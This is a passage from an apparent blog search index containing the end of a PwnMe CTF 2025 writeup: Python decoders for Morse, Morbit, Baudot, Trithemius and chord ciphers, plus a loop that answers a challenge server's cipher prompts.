\u0026#39;A\u0026#39;, \u0026#39;..\u0026#39;: \u0026#39;I\u0026#39;, \u0026#39;-.-.\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;..-.\u0026#39;: \u0026#39;F\u0026#39;, \u0026#39;---\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;-.--\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#39;-\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;.\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;.-..\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;...\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;-.--.-\u0026#39;: \u0026#39;)\u0026#39;, \u0026#39;..--..\u0026#39;: \u0026#39;?\u0026#39;, \u0026#39;.----\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;-----\u0026#39;: \u0026#39;0\u0026#39;, \u0026#39;-.-\u0026#39;: \u0026#39;K\u0026#39;, \u0026#39;-..\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;----.\u0026#39;: \u0026#39;9\u0026#39;, \u0026#39;-....\u0026#39;: \u0026#39;6\u0026#39;, \u0026#39;.---\u0026#39;: \u0026#39;J\u0026#39;, \u0026#39;.--.\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;.-.-.-\u0026#39;: \u0026#39;.\u0026#39;, \u0026#39;-.--.\u0026#39;: \u0026#39;(\u0026#39;, \u0026#39;--\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;-.\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;....\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;---..\u0026#39;: \u0026#39;8\u0026#39;, \u0026#39;...-\u0026#39;: \u0026#39;V\u0026#39;, \u0026#39;--...\u0026#39;: \u0026#39;7\u0026#39;, \u0026#39;--.\u0026#39;: \u0026#39;G\u0026#39;, \u0026#39;...--\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;-....-\u0026#39;: \u0026#39;-\u0026#39;} MORBIT = [\u0026#39;..\u0026#39;, \u0026#39;. \u0026#39;, \u0026#39; -\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;-.\u0026#39;, \u0026#39;--\u0026#39;, \u0026#39; .\u0026#39;, \u0026#39;- \u0026#39;, \u0026#39;.-\u0026#39;] KEY = \u0026#34;AZERTYUIO\u0026#34; # Given key # Map digits to Morbit symbols using the key MORBIT_CODE_DICT = dict(zip(\u0026#34;123456789\u0026#34;, MORBIT)) def morse(ciphertxt): \u0026#34;\u0026#34;\u0026#34; Decodes a Morse code string to plaintext. \u0026#34;\u0026#34;\u0026#34; plaintxt = \u0026#39;\u0026#39; for word in ciphertxt.strip().split(\u0026#34; \u0026#34;): for c in word.strip().split(\u0026#34; \u0026#34;): if c in MORSE_CODE_DICT: plaintxt += MORSE_CODE_DICT[c] plaintxt += \u0026#39; \u0026#39; return plaintxt.strip() def morbit(ciphertxt): \u0026#34;\u0026#34;\u0026#34; Decodes a Morbit cipher text into Morse code, then to plaintext. \u0026#34;\u0026#34;\u0026#34; morsetxt = \u0026#34;\u0026#34;.join(MORBIT_CODE_DICT[c] for c in ciphertxt if c in MORBIT_CODE_DICT) return morse(morsetxt).lower() baudot_table = { \u0026#34;00000\u0026#34;: \u0026#34;null\u0026#34;, \u0026#34;00100\u0026#34;: \u0026#34; \u0026#34;, \u0026#34;10111\u0026#34;: \u0026#34;Q\u0026#34;, \u0026#34;10011\u0026#34;: \u0026#34;W\u0026#34;, \u0026#34;00001\u0026#34;: \u0026#34;E\u0026#34;, \u0026#34;01010\u0026#34;: \u0026#34;R\u0026#34;, \u0026#34;10000\u0026#34;: \u0026#34;T\u0026#34;, \u0026#34;10101\u0026#34;: \u0026#34;Y\u0026#34;, \u0026#34;00111\u0026#34;: \u0026#34;U\u0026#34;, \u0026#34;00110\u0026#34;: \u0026#34;I\u0026#34;, \u0026#34;11000\u0026#34;: \u0026#34;O\u0026#34;, \u0026#34;10110\u0026#34;: \u0026#34;P\u0026#34;, \u0026#34;00011\u0026#34;: \u0026#34;A\u0026#34;, \u0026#34;00101\u0026#34;: \u0026#34;S\u0026#34;, \u0026#34;01001\u0026#34;: \u0026#34;D\u0026#34;, \u0026#34;01101\u0026#34;: \u0026#34;F\u0026#34;, \u0026#34;11010\u0026#34;: \u0026#34;G\u0026#34;, \u0026#34;10100\u0026#34;: \u0026#34;H\u0026#34;, \u0026#34;01011\u0026#34;: \u0026#34;J\u0026#34;, \u0026#34;01111\u0026#34;: \u0026#34;K\u0026#34;, \u0026#34;10010\u0026#34;: \u0026#34;L\u0026#34;, \u0026#34;10001\u0026#34;: \u0026#34;Z\u0026#34;, \u0026#34;11101\u0026#34;: \u0026#34;X\u0026#34;, \u0026#34;01110\u0026#34;: \u0026#34;C\u0026#34;, \u0026#34;11110\u0026#34;: \u0026#34;V\u0026#34;, \u0026#34;11001\u0026#34;: \u0026#34;B\u0026#34;, \u0026#34;01100\u0026#34;: \u0026#34;N\u0026#34;, \u0026#34;11100\u0026#34;: \u0026#34;M\u0026#34;, \u0026#34;01000\u0026#34;: \u0026#34;CR\u0026#34;, \u0026#34;00010\u0026#34;: \u0026#34;LF\u0026#34;, \u0026#34;11011\u0026#34;: \u0026#34;Switch to Digits\u0026#34; } def baudot_decode(ciphertext): bits = ciphertext.split() decoded_text = \u0026#34;\u0026#34;.join(baudot_table.get(bit, \u0026#34;?\u0026#34;) for bit in bits) return decoded_text.lower() def trimethius_decode(ciphertext): ALPHABET = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#34;.lower() offset = 3 ans = \u0026#34;\u0026#34; for i in range(len(ciphertext)): idx = ALPHABET.index(ciphertext[i]) ans += ALPHABET[(idx - offset + len(ALPHABET)) % len(ALPHABET)] offset += 1 return ans def wabi_sabi(ciphertext): qod6 = { # Row 1 \u0026#34;A\u0026#34;: \u0026#34;--.--\u0026#34;, \u0026#34;I\u0026#34;: \u0026#34;.-\u0026#34;, \u0026#34;U\u0026#34;: \u0026#34;..-\u0026#34;, \u0026#34;E\u0026#34;: \u0026#34;-.---\u0026#34;, \u0026#34;O\u0026#34;: \u0026#34;.-...\u0026#34;, \u0026#34;N\u0026#34;: \u0026#34;.-.-.\u0026#34;, # Row 2 \u0026#34;KA\u0026#34;: \u0026#34;.-..\u0026#34;, \u0026#34;KI\u0026#34;: \u0026#34;-.-..\u0026#34;, \u0026#34;KU\u0026#34;: \u0026#34;...-\u0026#34;, \u0026#34;KE\u0026#34;: \u0026#34;-.--\u0026#34;, \u0026#34;KO\u0026#34;: \u0026#34;----\u0026#34;, # Row 3 \u0026#34;SA\u0026#34;: \u0026#34;-.-.-\u0026#34;, \u0026#34;SHI\u0026#34;: \u0026#34;--.-.\u0026#34;, \u0026#34;SU\u0026#34;: \u0026#34;---.-\u0026#34;, \u0026#34;SE\u0026#34;: \u0026#34;.---.\u0026#34;, \u0026#34;SO\u0026#34;: \u0026#34;---.\u0026#34;, # # Row 4 # \u0026#34;ZA\u0026#34;: \u0026#34;-.-.\u0026#34;, # \u0026#34;ZI\u0026#34;: \u0026#34;-.--\u0026#34;, # \u0026#34;ZU\u0026#34;: \u0026#34;..--\u0026#34;, # \u0026#34;ZE\u0026#34;: \u0026#34;.--.\u0026#34;, # \u0026#34;ZO\u0026#34;: \u0026#34;---.\u0026#34;, # Row 5 \u0026#34;TA\u0026#34;: \u0026#34;-.\u0026#34;, \u0026#34;CHI\u0026#34;: \u0026#34;..-.\u0026#34;, \u0026#34;TSU\u0026#34;: \u0026#34;.--.\u0026#34;, \u0026#34;TE\u0026#34;: \u0026#34;.-.--\u0026#34;, \u0026#34;TO\u0026#34;: \u0026#34;..-..\u0026#34;, # # Row 6 # \u0026#34;DA\u0026#34;: \u0026#34;-.\u0026#34;, # \u0026#34;DI\u0026#34;: \u0026#34;----\u0026#34;, # \u0026#34;DU\u0026#34;: \u0026#34;--.-\u0026#34;, # \u0026#34;DE\u0026#34;: \u0026#34;-..-\u0026#34;, # \u0026#34;DO\u0026#34;: \u0026#34;--..\u0026#34;, # Row 7 \u0026#34;NA\u0026#34;: \u0026#34;.-.\u0026#34;, \u0026#34;NI\u0026#34;: \u0026#34;-.-.\u0026#34;, \u0026#34;NU\u0026#34;: \u0026#34;....\u0026#34;, \u0026#34;NE\u0026#34;: \u0026#34;--.-\u0026#34;, \u0026#34;NO\u0026#34;: \u0026#34;..--\u0026#34;, # Row 8 \u0026#34;HA\u0026#34;: \u0026#34;-...\u0026#34;, \u0026#34;HI\u0026#34;: \u0026#34;--..-\u0026#34;, \u0026#34;FU\u0026#34;: \u0026#34;--..\u0026#34;, \u0026#34;HE\u0026#34;: \u0026#34;.\u0026#34;, \u0026#34;HO\u0026#34;: \u0026#34;-..\u0026#34;, # # Row 9 # \u0026#34;BA\u0026#34;: \u0026#34;.-..-\u0026#34;, # \u0026#34;BI\u0026#34;: \u0026#34;.-...\u0026#34;, # \u0026#34;BU\u0026#34;: \u0026#34;..-..\u0026#34;, # \u0026#34;BE\u0026#34;: \u0026#34;....\u0026#34;, # \u0026#34;BO\u0026#34;: \u0026#34;.--..\u0026#34;, # # Row 10 # \u0026#34;PA\u0026#34;: \u0026#34;.-..-\u0026#34;, # \u0026#34;PI\u0026#34;: \u0026#34;.-...\u0026#34;, # \u0026#34;PU\u0026#34;: \u0026#34;..-..\u0026#34;, # \u0026#34;PE\u0026#34;: \u0026#34;....\u0026#34;, # \u0026#34;PO\u0026#34;: \u0026#34;.--..\u0026#34;, # Row 11 \u0026#34;MA\u0026#34;: \u0026#34;-..-\u0026#34;, \u0026#34;MI\u0026#34;: \u0026#34;..-.-\u0026#34;, \u0026#34;MU\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;ME\u0026#34;: \u0026#34;-...-\u0026#34;, \u0026#34;MO\u0026#34;: \u0026#34;-..-.\u0026#34;, # Row 12 \u0026#34;YA\u0026#34;: \u0026#34;.--\u0026#34;, \u0026#34;YU\u0026#34;: \u0026#34;-..--\u0026#34;, \u0026#34;YO\u0026#34;: \u0026#34;--\u0026#34;, \u0026#34;RA\u0026#34;: \u0026#34;...\u0026#34;, \u0026#34;RI\u0026#34;: \u0026#34;--.\u0026#34;, \u0026#34;RU\u0026#34;: \u0026#34;-.--.\u0026#34;, \u0026#34;RE\u0026#34;: \u0026#34;---\u0026#34;, \u0026#34;RO\u0026#34;: \u0026#34;.-.-\u0026#34;, \u0026#34;WA\u0026#34;: \u0026#34;-.-\u0026#34;, \u0026#34;WI\u0026#34;: \u0026#34;.-..-\u0026#34;, \u0026#34;WE\u0026#34;: \u0026#34;.--..\u0026#34;, \u0026#34;WO\u0026#34;: \u0026#34;.---\u0026#34;, } DICT = {} for key, value in qod6.items(): DICT[value] = key ciphertext = ciphertext.split() ans = \u0026#39;\u0026#39; for word in ciphertext: if \u0026#39;.\u0026#39; in word or \u0026#39;-\u0026#39; in word: ans += DICT[word] else: ans += word return ans.lower() def chord_cipher(ciphertext): ciphertext = ciphertext.split() dict = {\u0026#34;x02220\u0026#34;: \u0026#39;a\u0026#39;, \u0026#34;224442\u0026#34;:\u0026#39;b\u0026#39;, \u0026#39;032010\u0026#39;:\u0026#39;c\u0026#39;, \u0026#39;xx0232\u0026#39;:\u0026#39;d\u0026#39;, \u0026#39;022100\u0026#39;:\u0026#39;e\u0026#39;, \u0026#39;133211\u0026#39;:\u0026#39;f\u0026#39;, \u0026#39;320003\u0026#39;:\u0026#39;g\u0026#39;, \u0026#39;x24442\u0026#39;:\u0026#39;b\u0026#39;, \u0026#39;x32010\u0026#39;:\u0026#39;c\u0026#39;} ans = \u0026#39;\u0026#39; for i in ciphertext: ans += dict.get(i, \u0026#39;?\u0026#39;) return ans for i in range(100): hint = p.recvuntil(b\u0026#39;cipher: \u0026#39;).decode() print(hint) cipher = p.recvline().strip().decode() print(cipher) if (\u0026#34;charabia\u0026#34; in hint): msg = latin_gibberish(cipher) print(msg) p.sendline(msg) elif (\u0026#34;1337\u0026#34; in hint): msg = decode_1337(cipher) print(msg) p.sendline(msg) elif (\u0026#34;slumdog\u0026#34; in hint): msg = slumdog(cipher) print(msg) p.sendline(msg) elif (\u0026#34;It looks like Morse code\u0026#34; in hint): msg = wabi_sabi(cipher) print(msg) p.sendline(msg) elif (\u0026#34;hint\u0026#34; not in hint): msg = first_letter(cipher) print(msg) p.sendline(msg) elif (\u0026#34;infinity twice\u0026#34; in hint): msg = decode_chuck_norris(cipher) print(msg) p.sendline(msg) elif (\u0026#34;CTF 150 years\u0026#34; in hint): msg = baudot_decode(cipher) print(msg) p.sendline(msg) elif (\u0026#34;code based on\u0026#34; in hint): msg = morbit(cipher) print(msg) p.sendline(msg) elif (\u0026#34;1462\u0026#34; in hint): msg = trimethius_decode(cipher) print(msg) p.sendline(msg) elif (\u0026#34;Hendrix\u0026#34; in hint): msg = chord_cipher(cipher) print(msg) p.sendline(msg) else: break p.interactive() ","date":"3 March 2025","externalUrl":null,"permalink":"/posts/pwnme-ctf-2025-writeup/","section":"Posts","summary":"","title":"PwnMe CTF 2025 Writeup","type":"posts"},{"content":"","date":"24 February 2025","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","externalUrl":null,"permalink":"/about/","section":"","summary":"","title":"","type":"about"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]